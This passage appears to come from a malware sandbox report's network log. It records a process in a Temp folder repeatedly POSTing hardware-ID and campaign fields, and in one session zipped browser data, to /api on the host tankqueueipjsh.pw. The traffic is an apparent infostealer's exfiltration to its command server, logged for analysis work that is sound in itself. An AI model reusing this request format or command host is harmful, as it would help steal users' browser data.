{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=I1oyRfysgi3mbu86gKz3%2Bu83IDAJifKLSe9a5GmbtSqM8crLe9wlUbUSt%2BCJEl6XRg36sYk9tARYzHJdWBfIjQT0E4sjTrxMT1I1haJ2srk7J2HChOKKJmjOiKP8qPqvID%2FVyw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:53:02.431057930 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 34 34 31 64 30 65 30 37 66 34 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 831503441d0e07f4-IAD15Malformed packet data
Dec 6, 2023 14:53:02.431067944 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50189	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:02.552583933 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:02.552818060 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:02.925576925 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=8sc0tunvuirajk0se4a8kd9dd1; expires=Sun, 31 Mar 2024 07:39:41 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:02 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:02 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:02 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zc0N15JjK2AvNUhOoVeuMCWzKjoVRNVVd%2BkcadjAAvwJrP2NCorm%2BghA2B2H81ui6s6jb4wXaNS6DQArCsxwornfyBuI5tnCwAS8xUy3vQt3MMfY1RlDNl2oGT3wgIMzUaIvkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:53:02.925595999 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 34 37 33 65 31 30 38 31 65 31 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 831503473e1081e1-IAD15Malformed packet data
Dec 6, 2023 14:53:02.925606966 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50190	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:03.049237967 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:03.049328089 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:03.409630060 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=95drop5jr5q6vk8cogtjloohdj; expires=Sun, 31 Mar 2024 07:39:42 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:03 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:03 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:03 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GEEym4UHgn0TEWiE4EyfERRm0CSDcclbwdxlwYUyNpcdQ2%2FamM%2B5DR9RiAuulQb9uMQ1Z1SkvJxPk893lZQsr7mggKilCkUW9Cc79fCxDNlgdxpscwKnhv8CcYv%2BUFbboA4DYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:53:03.409646988 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 34 61 34 64 34 61 30 37 62 39 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 8315034a4d4a07b9-IAD15Malformed packet data
Dec 6, 2023 14:53:03.409656048 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50191	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:03.532644987 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:03.532816887 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:03.890989065 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=4u90puqeqfjiq74eqngt1qfak8; expires=Sun, 31 Mar 2024 07:39:42 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:03 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:03 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:03 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EkTtvad37w2hACLgJA7%2BDdZZ7%2FLdT%2F4Yj0HVcehmk2ukvqkpIJdO%2FOwjlhJayop0JlfTRYsDats3FTzcDgg2YqYy%2BoB54BxCQokcsZHDAnaYqlWgQQo%2Br3MdR4XmNjyqV%2Bwf8Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Serv Data Raw: Data Ascii:
Dec 6, 2023 14:53:03.891035080 CET	128	IN	Data Raw: 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 34 64 35 65 38 66 33 38 39 31 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: r: cloudflareCF-RAY: 8315034d5e8f3891-IAD15Malformed packet data
Dec 6, 2023 14:53:03.891112089 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50192	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:04.176757097 CET	337	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19248 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:04.177054882 CET	11628	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:04.271131992 CET	1340	OUT	Data Raw: c5 83 cd ff 5c e5 7b 15 ee ed 7a 65 99 ab dd 5e 7a b6 fa f7 e0 e7 fb 95 d7 2a 67 2a 3f 7d 0c ee 88 5c eb e2 c5 83 13 40 0f a9 63 93 5e cf ee 92 30 f0 d9 c9 a8 84 ba ec 04 5d 59 b8 9e 3b ef 51 26 c5 af f0 f4 51 2f 88 69 ee d0 e1 f8 04 4b ee d8 d3 Data Ascii: \{ze^zg?}\@c^0]Y;Q&Q/iKB{Ka3~naWnn^io~^(U#{I7 ON@'_<~5:Du':3l7\|Ha-w&=vvGtO!9X"1^X?AYz]
Dec 6, 2023 14:53:04.271173000 CET	2626	OUT	Data Raw: d9 21 b4 71 48 ee e4 47 92 92 b4 9f 4c 1d fc 1a 1e 28 73 82 61 de 31 7d d0 0f e2 c9 09 8e 43 02 6e d4 ed 75 e8 e4 ac 48 7b b0 77 f1 44 6b 70 da aa ee 1b d9 d1 a2 f1 e1 ac fc a9 a2 90 74 a9 9d 9d 32 84 2a c4 5d 3b 09 b6 43 92 1d bc f2 03 da f1 26 Data Ascii: !qHGL(sa1}CnuH{wDkpt2*];C&_i7~s$8$H.O\z?V\|\|1V\|m+4S\|?j,QaPvktRq?)8)Njx#-f_}F^:^bn?I.;
Dec 6, 2023 14:53:04.271230936 CET	2626	OUT	Data Raw: 2b 50 25 07 3a 95 29 41 ae aa 2a 09 ba e2 68 ae 6f 5a 96 23 49 0f 1f 3e 2c ee 51 10 0a 39 cf 8b 2e ca fd af 9c 80 2e 7d a2 76 0d 72 d7 65 4b 35 2d e8 4e a2 a1 80 81 4b aa 22 10 aa 19 82 a7 eb 44 d1 24 95 12 45 27 6e 36 34 9f eb 06 6e 1c 25 91 9f Data Ascii: +P%:)A*hoZ#I>,Q9..}vreK5-NK"D$E'n64n%\|/f[:Up=hZ!hZDpG1O)NQ_QI/N;f7M]/H\YR(J77kYO-S$5\(2cf28AE
Dec 6, 2023 14:53:04.271260023 CET	1298	OUT	Data Raw: 00 00 00 00 00 00 00 1e 00 04 00 45 64 67 65 2f 44 65 66 61 75 6c 74 2f 42 72 6f 77 73 65 72 44 42 2f 4c 4f 47 2e 6f 6c 64 01 00 00 00 b5 8f b1 0e 82 30 18 84 77 9e a2 89 33 d0 16 44 c2 46 04 13 13 71 10 dd ba 54 5a 08 49 c3 4f da c2 f3 2b 35 0c Data Ascii: Edge/Default/BrowserDB/LOG.old0w3DFqTZIO+5&:r}\|G1BC$pX&'TwtHmW-XpX7D.d'e?-hp]JUYJAv<~J8~;}PK/PPK
Dec 6, 2023 14:53:04.644084930 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=qctcu0v087hsoapnds3u0r224m; expires=Sun, 31 Mar 2024 07:39:43 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:04 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:04 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:04 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lMfBXFyGC3PeQfFoLypXJHZO%2F0LEe0ZtAuJ5BMcBrpgA%2BED0XcTX%2FyyL%2BVIEzPQhjHDIAUsnTpzX3LNK9bPPyqkHL9CHBb3IrNTkae6CkGc9aOlX2skBd0QQ9zs4mpL6hcwr7A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:53:04.644105911 CET	117	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 35 31 35 61 32 63 35 38 35 61 2d 49 41 44 0d 0a 0d 0a 31 30 0d 0a 6f 6b 20 31 30 32 2e 31 36 35 2e 34 38 2e 38 33 0d 0a Data Ascii: udflareCF-RAY: 831503515a2c585a-IAD10ok 102.165.48.83
Dec 6, 2023 14:53:04.644117117 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50193	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:04.764414072 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:04.764646053 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:05.112448931 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=l2dumbmjsuc2e4besirr8kdgtr; expires=Sun, 31 Mar 2024 07:39:43 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:04 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:04 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:04 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CglZ1%2FQ3WDULyr5ppyavkuEPC05hn38SzGrYF2bI2H%2F36GsAdMwYXsqWGfUirtymxV0g2pkO2YxLUTFuNpNxcORcJQsHp4%2Bv1OloT7hA9JoPP56%2BBPRg1dt4Rb4MokWctSoZTg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:53:05.112464905 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 35 35 30 64 65 38 30 38 34 66 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 831503550de8084f-IAD15Malformed packet data
Dec 6, 2023 14:53:05.112473965 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50194	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:05.229321003 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:05.229537010 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:05.573494911 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=isp8b5t0csnalvs2otkus123j2; expires=Sun, 31 Mar 2024 07:39:44 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5SId4Liq3NS%2F7PgZFkxA5yaFxRELrtHKYpiBAERXbVjyIATZq%2FDVQp7mi3yx0XDtNVhq1Ud8zvR4%2FzPOYS6OqJtfqwmrdFQhDC%2FLJ7Rt%2BQ3%2Bfol73hi1OgbcTphWpNdK%2Fm36PA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Serv Data Raw: Data Ascii:
Dec 6, 2023 14:53:05.573507071 CET	128	IN	Data Raw: 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 35 37 65 61 66 39 35 38 64 32 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: r: cloudflareCF-RAY: 83150357eaf958d2-IAD15Malformed packet data
Dec 6, 2023 14:53:05.573515892 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50195	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:05.695508957 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:05.695791006 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:06.047801018 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=n7pcjpqpc843rrlfnm790lqqis; expires=Sun, 31 Mar 2024 07:39:44 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=l0Rv%2BeyvwPPyuEd4V4C6u2hQw76A6YIZ030GRlDhVYamMRvMDdw98zIG1EPG1m1eI3rPjxTsVnEP5smB8kDcYPdP0wEtREv3G1QfSweFUi7qIGOXnWL%2BZLNmdExbPfGPYj1VDA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:53:06.047821999 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 35 61 64 39 62 38 33 61 66 39 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 8315035ad9b83af9-IAD15Malformed packet data
Dec 6, 2023 14:53:06.047836065 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50196	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:06.165539980 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:06.165728092 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
